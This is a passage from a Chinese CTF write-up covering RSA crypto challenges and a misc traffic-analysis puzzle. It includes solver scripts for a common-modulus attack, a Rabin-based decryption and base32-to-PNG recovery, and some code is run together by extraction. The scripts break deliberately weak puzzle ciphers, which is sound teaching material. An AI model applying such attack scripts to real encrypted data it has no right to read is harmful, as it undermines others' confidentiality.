21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531 c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664
这就很明显了,对相同的明文,利用相同的模数n
,不同的e
进行加密,显然的共模攻击。 直接上脚本了:
import sysimport binasciisys.setrecursionlimit(1000000 ) def egcd (a, b) : if a == 0 : return (b, 0 , 1 ) else : g, y, x = egcd(b % a, a)个字符 return (g, x - (b // a) * y, y) def modinv (a, m) : g, x, y = egcd(a, m) if g != 1 : raise Exception('modular inverse does not exist' ) else : return x % m n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657 e1 = 464857 e2 = 190529 c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531 c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664 s = egcd(e1, e2) s1 = s[1 ] s2 = s[2 ] if s1<0 : s1 = - s1 c1 = modinv(c1, n) elif s2<0 : s2 = - s2 c2 = modinv(c2, n) m=(pow(c1,s1,n)*pow(c2,s2,n)) % n print (binascii.unhexlify(hex(m)[2 :].strip("L" )))
关于RSA攻击的一些常见题目,可以参考这里 。
Crypto-warm_up 一道RSA攻击题,比赛的时候用了很久的时间,结果方法是那个方法,也没毛病,但是拿到的中间解密结果就是跟正确的不一样… 【补充】后来得知是利用Rabin算法 来解密,
题目分析 首先拿到加密的脚本:challenge
:
from Crypto.Util.number import *from encode import KEYq=getPrime(1024 ) p=getPrime(1024 ) r=getPrime(1024 ) s=getPrime(1500 ) e1=125794 e2=42373 n1=p*q n2=p*r n3=p*q*s c1=pow(s,e1,n1) Key=int(KEY.encode('hex' ),16 ) key_encode=pow(Key,e2,n3) with open("enc" ,"a" )as f: f.write("c1: " +str(c1)+"\n" ) f.write("n1: " +str(n1)+"\n" ) f.write("n2: " +str(n2)+"\n" ) f.write("key_encode: " +str(key_encode)+"\n" )
encode
:
from flag import flagimport osKEY = os.urandom(len(flag)) dec=int(flag.encode('hex' ),16 ) assert len(bin(dec)[2 :])==335 mask=int('1' *335 ,2 ) dec=(dec^dec<<200 )&mask enc=dec^bytes_to_long(KEY) print "enc: " +str(enc)
审计代码可知,要拿到flag,我们首先需要拿到KEY
,而KEY
是经过RSA加密的。 但是观察RSA代码发现n1
和n2
有公约数p
,利用欧几里何算法即可求得:
def gcd (m,n) : if n==0 : print("n is not equal 0!" ) else : while m%n!=0 : new=m m=n n=new%n return n
这样我们就有了p
、q
、r
,但是要得到KEY
,我们需要拿到s
,这个地方参考了网上的一篇文章 中的一部分来求,但是求得的s
不是1500
bit、但是加密的密文却是一样的…然后也就没有做下去了,等WP吧… 后来一位师傅分享了自己的总结,学习下吧:http://www.soreatu.com/ctf/writeups/Writeup%20for%20Crypto%20problems%20in%20NCTF%202019.html#easyrsa 师傅给了他的脚本做参考,但是还没完全搞明白,等WP出来研究好了再补充。
补充 利用Rabin
算法解密RSA部分,然后利用运算的特性将dec=(dec^dec<<200)&mask
通过dec=(dec^dec>>200)&mask
进行还原,解密脚本如下:
import gmpy2import libnumc1 = 9977992111543474765993146699435780943354123551515555639473990571150196059887059696672744669228084544909025528146255490100789992216506586730653100894938711107779449187833366325936098812758615334617812732956967746820046321447169099942918022803930068529359616171025439714650868454930763815035475473077689115645913895433110149735235210437428625515317444853803605457325117693750834579622201070329710209543724812590086065816764917135636424809464755834786301901125786342127636605411141721732886212695150911960225370999521213349980949049923324623683647865441245309856444824402766736069791224029707519660787841893575575974855 n1 = 15653165971272925436189715950306169488648677427569197436559321968692908786349053303839431043588260338317859397537409728729274630550454731306685369845739785958309492188309739135163206662322980634812713910231189563194520522299672424106135656125893413504868167774287157038801622413798125676071689173117885182987841510070517898710350608725809906704505037866925358298525340393278376093071591988997064894579887906638790394371193617375086245950012269822349986482584060745112453163774290976851732665573217485779016736517696391513031881133151033844438314444107440811148603369668944891577028184130587885396017194863581130429121 n2 = 16489315386189042325770722192051506427349661112741403036117573859132337429264884611622357211389605225298644036805277212706583007338311350354908188224017869204022357980160833603890106564921333757491827877881996534008550579568290954848163873756688735179943313218316121156169277347705100580489857710376956784845139492131491003087888548241338393764269176675849400130460962312511303071508724811323438930655022930044289801178261135747942804968069730574751117952892336466612936801767553879313788406195290612707141092629226262881229776085126595220954398177476898915921943956162959257866832266411559621885794764791161258015571 key_encode = 154190230043753146353030548481259824097315973300626635557077557377724792985967471051038771303021991128148382608945680808938022458604078361850131745923161785422897171143162106718751785423910619082539632583776061636384945874434750267946631953612827762111005810457361526448525422842867001928519321359911975591581818207635923763710541026422076426423704596685256919683190492684987278018502571910294876596243956361277398629634060304624160081587277143907713428490243383194813480543419579737033035126867092469545345710049931834620804229860730306833456574575819681754486527026055566414873480425894862255077897522535758341968447477137256183708467693039633376832871571997148048935811129126086180156680457571784113049835290351001647282189000382279868628184984112626304731043149626327230591704892805774286122197299007823500636066926273430033695532664238665904030038927362086521253828046061437563787421700166850374578569457126653311652359735584860062417872495590142553341805723610473288209629102401412355687033859617593346080141954959333922596227692493410939482451187988507415231993 p = gmpy2.gcd(n1, n2) q = n1/p e1 = 125794 e2 = 42373 b = gmpy2.gcd(e1, (p-1 )*(q-1 )) bd = gmpy2.invert(e1/b, (p-1 )*(q-1 )) s = pow(c1, bd, n1) u = pow(s,(p+1 )/4 ,p) v = pow(s,(q+1 )/4 ,q) s = gmpy2.invert(p,q) t = gmpy2.invert(q,p) x = (t*q*u+s*p*v)%n1 x2 = -x%n1 y = (t*q*u-s*p*v)%n1 y2 = -y%n1 might_s = [x, x2, y, y2] might_d = [] for i in might_s: might_d.append(int(gmpy2.invert(e2, (p-1 )*(q-1 )*(i-1 )))) might_key = [] for i in range(4 ): might_key.append(pow(key_encode, might_d[i], p*q*might_s[i]) enc = 17403902166198774030870481073653666694643312949888760770888896025597904503707411677223946079009696809 key = 42580132829749909635949545500710961386423741815111173311539127124848530560526050611168224706289064276 dec = key^enc print libnum.n2s(dec)mask = int('1' *335 ,2 ) dec = (dec ^ dec>>200 )&mask print libnum.n2s(dec)
Misc-code_in_morse 考察基本的流量分析、morse编码,base32解码转图片,PDF417图片的识别以及F5隐写。
题目分析 拿到流量包之后导出HTTP
数据,发现一共四个文件,在PNG
文件中拿到了morse码,到网站解码得到一串base32码,这个时候到网站上解base32解不出来,就用python解了一下,发现是一堆hex,其中还有PNG
字样,断定是图片的数据,写了个脚本导入到png
图片:
import base64import binasciib32 = "RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72DGHQXRJGGDN57EJBZ2M7VJHOGJKEHU5ASU2KKTFB4SW5MB5C4YR4SSKNON3XLSS6K7CGJKAZNIP6E7RVUY6OFIBTTXYREMWKWPIDKRPTJSMRJPUXKUOWT5IZP3HEJ65OYVILIUGUI2QHGH32VAAXKO23H2BTIAF2UF4QESSANVEKPILOY63ZA5GUZRLLCIQSY6IRWLSTWULC5KBRAFOQPPEED3VB6IKKDRSN2FF4UVXS7KT6TUQCRQZ2DXZS5AYOCLLHKK6I2JUPRSK2HVI3YKBTZXWQDNGI3FMYHFMO3BIYABKUPTFSK3J4KKPKNALUMP5NFERHUB3I7IWTXQEAAMQUPQGRADFFIMKQ3MQNX3BW7NU4WMITZDB5D3FP3VHD2SPCX65ZVL44VUHQMAHMZLQFKADBFIO2RRKTCDYZJ2BCENKZ2LY2TIKSH3MMU3EUB5T26E4TP4NK3F6KRSTI3TEKTBKXTJYKHQATMWUDXT5T4CUYXK6U5H2LYAKUO5LJIFS2QY4O7KZP3KBCODRBAGLKPDN5WUTLOAKEOJP22CBGU6GXYJUPRTXXHKJLP7D46I2TPFLWQRJ4NIEFDYSNKDYFCERFHAC5NIWXVQXELIUSGKLKZLGT36JMOS7IIPBU76KXNQDJV4ZSXCE7F5P4U4QIRAKPAWRQFJLVHRFJDKIVLAVFOORM7F5S3U5D6AIFDV27JYJ243PIM6UKVSGLKQIZACNKPHVJAQJNPUAWACJNAWYEJBR2Q6LTA3STOLSLO6QZFKQ5QGFEZ5TKCJJ6VKBVNVO7DKG27T3HHJDRVXTPD6H7EW6FI6QB5GHQVKU3VP54TBBQMIDFJ6QFKRZXP4UE2QG3EVJDK3AASKBCE5W3VDHVB4JVC7IXOG5C7J4MZWSRDJFSHKH626LIUGRPZ6T2SEANVP5KDXFNKGQIWQS5J5MC5HBH5GGTHZLGWXKOWSCRQNULFGO4C3ZHUZF6O57K4YV2VYUR5BF3PDMEKR7JZEZJAAEUUORJ32GSHIAG4OWQS5LPPKVU2J7P5AQUQWRK7HE5BX3UWXJNPSKKBICC5Z5Y5L7AESSANUYPUNR2USESHE2ORQMJ5H6KTB6YSTVZD3FA6NLBUASWRM6VZYTXV6E4J6SW2XLZ6RGW7JL5FECJ53N7KRKRXMJGKVJTH6FNIFIOOA26AFHEAXJCUAQGBON2UPZNMBRKW7ZKUDZFYMCQBE5B4SUCTJ6TIOOT6J2XVXXLVRMPT3VGQUCSIAU4DKFJ7535XXUWGDSV3DJHQ2SXK3PILDELUPQVAVKFKJQM2GO47WTXXIZQPKNAE2VSDIDGT2VSSNUFSQAJV7WEY2WKVFSQANMFERVARSSUGEJ7TZLISVGYVPGPSVZTRTRYZXVI6VNNIZ6LFNPL2VAQVECPVZYLF3BR2M2PCXAF5USD6UVR7STM27OSOM7D3XUU2RZD5KWOKSBKIKLW3Q6VCIJTFVJLQDBREGECQBDKTJETLKU5KYQJVABNCATKD4MCVP6G75HT2V4CPQSW64SMM2VIBS2Q65ENEIBIETVJ5MFEFVLPEZXG3JEXX4QXSSUAABGMN67M5CJJVGTWUOS7742UGJK6VG2TGVFVCIYCUE2L44E2VBFJHTFNT7URWE6HSIZ2PF5TR7QST3FEAXIWSCMJO4V74VEACNKEGJF3B2IDGRF3BRAYWTALFVCFR7IZCNGVDEUSAZURUGABG5H6TDDKNEVH4TWZC2DI6FR6XT6W64SDC2JY3WDEXTLOK4ZBKPEXZMPFC4RFCFU5KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA====" hex = base64.b32decode(b32) print(hex) f1 = open("1.png" ,'wb' ) f1.write(hex) f1.close()
然后拿到了如下一张图: 后来得知是PDF417
,然后到网上找了一下扫描的方法,这里 和这里 都可以识别,识别出了下面这个图: 这里卡了好久,要不是就拿到了二血了… 后来看到图片的标题F5
得知是F5
隐写,然后用F5-steganography 跑出了flag。
这里偶然间发现了一个更好用的工具,输入morse码就直接出了PDF417的图,分享一下:CyberChef ,只能说,师傅们tql!